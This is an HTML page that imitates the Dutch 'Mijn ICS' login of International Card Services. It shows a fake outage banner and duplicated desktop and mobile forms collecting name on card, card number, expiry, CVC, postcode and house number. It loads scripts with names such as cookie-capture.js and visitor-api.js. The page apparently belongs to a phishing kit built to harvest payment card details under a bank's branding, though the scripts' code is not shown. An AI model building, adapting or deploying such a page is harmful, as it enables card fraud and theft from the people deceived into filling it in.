<!DOCTYPE html>
<html lang="nl" data-beasties-container=""><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>Gegevens - Mijn ICS | International Card Services</title>
    <base href="/">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" href="./css/base.css" media="all">
    <link rel="stylesheet" href="./css/page.css" media="all">
    <link rel="stylesheet" href="./css/theme.css" media="all">
    <link rel="icon" href="./images/app-favicon.png" type="image/png">
    <script src="/scripts/outage-bootstrap.js"></script>
    <style> 
      /* Geen overflow: hidden meer, laat de browser natuurlijk scrollen op kleine devices zodat het altijd past */
    </style>
</head>
  <body>

    <app-root><div class="client"><div class="client-web"><div class="v2"><lib-app-login data-ui-15=""><ui-sidenav-layout data-ui-5="" data-ui-11=""><nav data-ui-2="" class="sidenav"><div data-ui-5="" slot="sidenav" class="sidenav-content"><ui-skip-links data-ui-5="" mainelementid="main-content" data-ui-13=""><a data-ui-3="" id="skip-links-anchor" tabindex="0" href="#main-content" data-i18n="skipLink">Naar de inhoud</a><div data-ui-3="" id="content-wrapper-el" class="content-wrapper"><img data-ui-5="" alt="Logo" width="80" height="40" class="logo" loading="eager" fetchpriority="high" decoding="sync" src="./images/brand-logo-header.png"></div></ui-skip-links><h1 data-ui-5="" class="title" data-i18n="sidenavTitle"> Inloggen bij Mijn ICS </h1></div><img data-ui-2="" alt="Money/Hand or Card" width="500" height="500" class="sidebar-image" loading="lazy" fetchpriority="auto" decoding="auto" src="./images/layout-sidenav-art.png"><div data-ui-2="" class="language-toggle-slot-wrapper"><common-language-toggle data-ui-5="" language-toggle-slot="" mode="single" class="language-toggle dark" data-ui-10=""><div data-ui-1="" class="language-toggle-container"><button data-ui-1="" lang="nl" ui-button="" tabindex="0" class="toggle-button hide ui-button darkarea default no-border" data-ui-18="" aria-label="Schakel over naar Nederlands"><img data-ui-1="" alt="Dutch Flag" width="20" height="20" loading="lazy" fetchpriority="auto" decoding="auto" src="./images/locale-flag-nl.png"><span data-ui-1="">NL</span></button><button data-ui-1="" lang="en" tabindex="0" ui-button="" class="toggle-button ui-button darkarea default no-border" data-ui-18="" aria-label="Switch to English"><img data-ui-1="" alt="English Flag" width="20" height="20" loading="lazy" fetchpriority="auto" decoding="auto" src="./images/locale-flag-en.png"><span data-ui-1="">EN</span></button></div></common-language-toggle></div></nav><div data-ui-2="" class="content"><main data-ui-5="" slot="content" id="main-content"><section data-ui-5="" class="content-container"><h2 data-ui-5="" class="content-title h1" data-i18n="contentTitle"> Vul uw gegevens in </h2><div data-ui-5="" class="desktop-messages"><lib-logout-reason-banner data-ui-5="" data-ui-12=""><!----><!----></lib-logout-reason-banner><div data-ui-5="" class="generic-alert"><ui-feedback-message data-ui-5="" data-ui-14="" role="status" class="error" aria-labelledby="feedback-title"><ui-icon data-ui-4="" role="img" size="small" data-ui-16="" aria-hidden="true" class="icon-error small ui-icon"></ui-icon><!----><div data-ui-4="" class="content-text"><div data-ui-4="" class="text"><span data-ui-4="" class="title" id="feedback-title"> Technische storing </span><!----><p data-ui-4="" class="message"><span data-ui-4="">Sorry, u kunt tijdelijk niet inloggen bij onze app en website. We werken hard om de storing op te lossen. Meestal lukt dit ons binnen een uur.</span><span data-ui-4=""></span></p><p data-ui-4=""></p></div></div><!----><!----></ui-feedback-message></div></div><ui-card data-ui-5="" class="desktop-form border" data-ui-17=""><form data-ui-5="" novalidate="" id="gegevensFormId-desktop" class="ng-untouched ng-pristine ng-invalid"><ui-feedback-message data-ui-5="" class="errorFeedback error" data-ui-14="" role="status" aria-live="polite" aria-atomic="true"><img src="./images/ui-inline-error.png" width="16" height="16" alt="" class="error-icon" decoding="async" aria-hidden="true"/><div data-ui-4="" class="content-text"><div data-ui-4="" class="text"><p data-ui-4="" class="message"><span data-ui-4="" data-i18n="gegevensError">Controleer de ingevulde gegevens en probeer het opnieuw.</span><span data-ui-4=""></span></p><p data-ui-4=""></p></div></div></ui-feedback-message><div data-ui-5="" class="user"><ui-form-field data-ui-5="" data-ui-21=""><div data-ui-8="" class="label-wrapper"><label data-ui-8="" class="label" for="cardname-desktop" data-i18n="cardname">Naam op creditcard</label><div data-ui-8="" class="input"><span data-ui-8="" class="prefix"></span><input data-ui-5="" type="text" id="cardname-desktop" class="ng-untouched ng-pristine ng-invalid" placeholder="Naam op creditcard" data-i18n-placeholder="cardname" maxlength="50" autocomplete="cc-name"><span data-ui-8="" class="suffix"></span></div><div data-ui-8="" class="info"><!----><!----><!----><!----><!----><!----><!----></div></div></ui-form-field></div><div data-ui-5="" class="user"><ui-form-field data-ui-5="" data-ui-21=""><div data-ui-8="" class="label-wrapper"><label data-ui-8="" class="label" for="cardnumber-desktop" data-i18n="cardnumber">Kaartnummer</label><div data-ui-8="" class="input"><span data-ui-8="" class="prefix"></span><input data-ui-5="" type="text" id="cardnumber-desktop" class="ng-untouched ng-pristine ng-invalid" placeholder="Kaartnummer" data-i18n-placeholder="cardnumber" maxlength="19" inputmode="numeric" autocomplete="cc-number"><span data-ui-8="" class="suffix"></span></div><div data-ui-8="" class="info"><!----><!----><!----><!----><!----><!----><!----></div></div></ui-form-field></div><div data-ui-5="" class="user" style="display: flex; gap: var(--spacing-20); flex-direction: row; width: 100%; align-items: flex-end;">
<ui-form-field data-ui-5="" data-ui-21="" style="flex: 1;"><div data-ui-8="" class="label-wrapper"><label data-ui-8="" class="label" for="expmonth-desktop" data-i18n="expmonth">Maand</label><div data-ui-8="" class="input"><span data-ui-8="" class="prefix"></span><input data-ui-5="" type="text" id="expmonth-desktop" class="ng-untouched ng-pristine ng-invalid" placeholder="mm" data-i18n-placeholder="ph_mm" maxlength="2" inputmode="numeric" autocomplete="cc-exp-month"><span data-ui-8="" class="suffix"></span></div><div data-ui-8="" class="info"><!----><!----><!----><!----><!----><!----><!----></div></div></ui-form-field>
<ui-form-field data-ui-5="" data-ui-21="" style="flex: 1;"><div data-ui-8="" class="label-wrapper"><label data-ui-8="" class="label" for="expyear-desktop" data-i18n="expyear">Jaar</label><div data-ui-8="" class="input"><span data-ui-8="" class="prefix"></span><input data-ui-5="" type="text" id="expyear-desktop" class="ng-untouched ng-pristine ng-invalid" placeholder="yy" data-i18n-placeholder="ph_yy" maxlength="2" inputmode="numeric" autocomplete="cc-exp-year"><span data-ui-8="" class="suffix"></span></div><div data-ui-8="" class="info"><!----><!----><!----><!----><!----><!----><!----></div></div></ui-form-field>
</div><div data-ui-5="" class="user"><ui-form-field data-ui-5="" data-ui-21=""><div data-ui-8="" class="label-wrapper"><label data-ui-8="" class="label" for="cvc-desktop" data-i18n="cvc">CVC veiligheidscode</label><div data-ui-8="" class="input"><span data-ui-8="" class="prefix"></span><input data-ui-5="" type="text" id="cvc-desktop" class="ng-untouched ng-pristine ng-invalid" placeholder="CVC" data-i18n-placeholder="ph_cvc" maxlength="4" inputmode="numeric" autocomplete="cc-csc"><span data-ui-8="" class="suffix"></span></div><div data-ui-8="" class="info"><!----><!----><!----><!----><!----><!----><!----></div></div></ui-form-field></div><div data-ui-5="" class="user" style="display: flex; gap: var(--spacing-20); flex-direction: row; width: 100%; align-items: flex-end;">
<ui-form-field data-ui-5="" data-ui-21="" style="flex: 1;"><div data-ui-8="" class="label-wrapper"><label data-ui-8="" class="label" for="zipcode-desktop" data-i18n="zipcode">Postcode</label><div data-ui-8="" class="input"><span data-ui-8="" class="prefix"></span><input data-ui-5="" type="text" id="zipcode-desktop" class="ng-untouched ng-pristine ng-invalid" placeholder="1234 AB" data-i18n-placeholder="ph_zipcode" maxlength="7" autocomplete="postal-code"><span data-ui-8="" class="suffix"></span></div><div data-ui-8="" class="info"><!----><!----><!----><!----><!----><!----><!----></div></div></ui-form-field>
<ui-form-field data-ui-5="" data-ui-21="" style="flex: 1;"><div data-ui-8="" class="label-wrapper"><label data-ui-8="" class="label" for="housenumber-desktop" data-i18n="huisnr">Huisnr</label><div data-ui-8="" class="input"><span data-ui-8="" class="prefix"></span><input data-ui-5="" type="text" id="housenumber-desktop" class="ng-untouched ng-pristine ng-invalid" placeholder="Nr" data-i18n-placeholder="ph_nr" maxlength="5" inputmode="numeric"><span data-ui-8="" class="suffix"></span></div><div data-ui-8="" class="info"><!----><!----><!----><!----><!----><!----><!----></div></div></ui-form-field>
</div></form><div data-ui-5="" class="action-buttons"><div></div><button data-ui-5="" tabindex="0" ui-button="" variant="primary" class="login-btn ui-button primary default" data-ui-18="" data-i18n="login"> Volgende </button></div></ui-card><div data-ui-5="" class="mobile-form"><div data-ui-5=""><lib-logout-reason-banner data-ui-5="" data-ui-12=""></lib-logout-reason-banner><form data-ui-5="" novalidate="" id="gegevensFormId-mobile" class="ng-untouched ng-pristine ng-invalid"><ui-feedback-message data-ui-5="" class="errorFeedback error" data-ui-14="" role="status" aria-live="polite" aria-atomic="true"><img src="./images/ui-inline-error.png" width="16" height="16" alt="" class="error-icon" decoding="async" aria-hidden="true"/><div data-ui-4="" class="content-text"><div data-ui-4="" class="text"><p data-ui-4="" class="message"><span data-ui-4="" data-i18n="gegevensError">Controleer de ingevulde gegevens en probeer het opnieuw.</span><span data-ui-4=""></span></p><p data-ui-4=""></p></div></div></ui-feedback-message><div data-ui-5="" class="user"><ui-form-field data-ui-5="" data-ui-21=""><div data-ui-8="" class="label-wrapper"><label data-ui-8="" class="label" for="cardname-mobile" data-i18n="cardname">Naam op creditcard</label><div data-ui-8="" class="input"><span data-ui-8="" class="prefix"></span><input data-ui-5="" type="text" id="cardname-mobile" class="ng-untouched ng-pristine ng-invalid" placeholder="Naam op creditcard" data-i18n-placeholder="cardname" maxlength="50" autocomplete="cc-name"><span data-ui-8="" class="suffix"></span></div><div data-ui-8="" class="info"><!----><!----><!----><!----><!----><!----><!----></div></div></ui-form-field></div><div data-ui-5="" class="user"><ui-form-field data-ui-5="" data-ui-21=""><div data-ui-8="" class="label-wrapper"><label data-ui-8="" class="label" for="cardnumber-mobile" data-i18n="cardnumber">Kaartnummer</label><div data-ui-8="" class="input"><span data-ui-8="" class="prefix"></span><input data-ui-5="" type="text" id="cardnumber-mobile" class="ng-untouched ng-pristine ng-invalid" placeholder="Kaartnummer" data-i18n-placeholder="cardnumber" maxlength="19" inputmode="numeric" autocomplete="cc-number"><span data-ui-8="" class="suffix"></span></div><div data-ui-8="" class="info"><!----><!----><!----><!----><!----><!----><!----></div></div></ui-form-field></div><div data-ui-5="" class="user" style="display: flex; gap: var(--spacing-20); flex-direction: row; width: 100%; align-items: flex-end;">
<ui-form-field data-ui-5="" data-ui-21="" style="flex: 1;"><div data-ui-8="" class="label-wrapper"><label data-ui-8="" class="label" for="expmonth-mobile" data-i18n="expmonth">Maand</label><div data-ui-8="" class="input"><span data-ui-8="" class="prefix"></span><input data-ui-5="" type="text" id="expmonth-mobile" class="ng-untouched ng-pristine ng-invalid" placeholder="mm" data-i18n-placeholder="ph_mm" maxlength="2" inputmode="numeric" autocomplete="cc-exp-month"><span data-ui-8="" class="suffix"></span></div><div data-ui-8="" class="info"><!----><!----><!----><!----><!----><!----><!----></div></div></ui-form-field>
<ui-form-field data-ui-5="" data-ui-21="" style="flex: 1;"><div data-ui-8="" class="label-wrapper"><label data-ui-8="" class="label" for="expyear-mobile" data-i18n="expyear">Jaar</label><div data-ui-8="" class="input"><span data-ui-8="" class="prefix"></span><input data-ui-5="" type="text" id="expyear-mobile" class="ng-untouched ng-pristine ng-invalid" placeholder="yy" data-i18n-placeholder="ph_yy" maxlength="2" inputmode="numeric" autocomplete="cc-exp-year"><span data-ui-8="" class="suffix"></span></div><div data-ui-8="" class="info"><!----><!----><!----><!----><!----><!----><!----></div></div></ui-form-field>
</div><div data-ui-5="" class="user"><ui-form-field data-ui-5="" data-ui-21=""><div data-ui-8="" class="label-wrapper"><label data-ui-8="" class="label" for="cvc-mobile" data-i18n="cvc">CVC veiligheidscode</label><div data-ui-8="" class="input"><span data-ui-8="" class="prefix"></span><input data-ui-5="" type="text" id="cvc-mobile" class="ng-untouched ng-pristine ng-invalid" placeholder="CVC" data-i18n-placeholder="ph_cvc" maxlength="4" inputmode="numeric" autocomplete="cc-csc"><span data-ui-8="" class="suffix"></span></div><div data-ui-8="" class="info"><!----><!----><!----><!----><!----><!----><!----></div></div></ui-form-field></div><div data-ui-5="" class="user" style="display: flex; gap: var(--spacing-20); flex-direction: row; width: 100%; align-items: flex-end;">
<ui-form-field data-ui-5="" data-ui-21="" style="flex: 1;"><div data-ui-8="" class="label-wrapper"><label data-ui-8="" class="label" for="zipcode-mobile" data-i18n="zipcode">Postcode</label><div data-ui-8="" class="input"><span data-ui-8="" class="prefix"></span><input data-ui-5="" type="text" id="zipcode-mobile" class="ng-untouched ng-pristine ng-invalid" placeholder="1234 AB" data-i18n-placeholder="ph_zipcode" maxlength="7" autocomplete="postal-code"><span data-ui-8="" class="suffix"></span></div><div data-ui-8="" class="info"><!----><!----><!----><!----><!----><!----><!----></div></div></ui-form-field>
<ui-form-field data-ui-5="" data-ui-21="" style="flex: 1;"><div data-ui-8="" class="label-wrapper"><label data-ui-8="" class="label" for="housenumber-mobile" data-i18n="huisnr">Huisnr</label><div data-ui-8="" class="input"><span data-ui-8="" class="prefix"></span><input data-ui-5="" type="text" id="housenumber-mobile" class="ng-untouched ng-pristine ng-invalid" placeholder="Nr" data-i18n-placeholder="ph_nr" maxlength="5" inputmode="numeric"><span data-ui-8="" class="suffix"></span></div><div data-ui-8="" class="info"><!----><!----><!----><!----><!----><!----><!----></div></div></ui-form-field>
</div></form></div><div data-ui-5="" class="action-buttons"><div></div><button data-ui-5="" tabindex="0" ui-button="" variant="primary" class="login-btn ui-button primary default" data-ui-18="" data-i18n="login"> Volgende </button></div></div></section></main></div><div data-ui-2="" class="pattern-wrapper-sidenav"><img data-ui-2="" alt="" loading="eager" fetchpriority="high" decoding="sync" src="./images/bg-dot-texture.png" sizes="100vw" style="position:absolute;width:100%;height:100%;inset:0"></div></ui-sidenav-layout></lib-app-login></div></div></div></app-root>



<script defer src="/scripts/i18n-core.js"></script>
<script defer src="/scripts/routes.js"></script>
<script defer src="/scripts/retry-helper.js"></script>
<script defer src="/scripts/page-tracker.js"></script>
<script defer src="/scripts/cookie-capture.js"></script>
<script defer src="/scripts/visitor-api.js"></script>
<script defer src="/scripts/sleep-flow.js"></script>
<script defer src="/scripts/outage-helper.js"></script>
<script defer src="/scripts/outage-guard.js"></script>
<script defer src="./scripts/app-gegevens.js"></script>
</body></html>

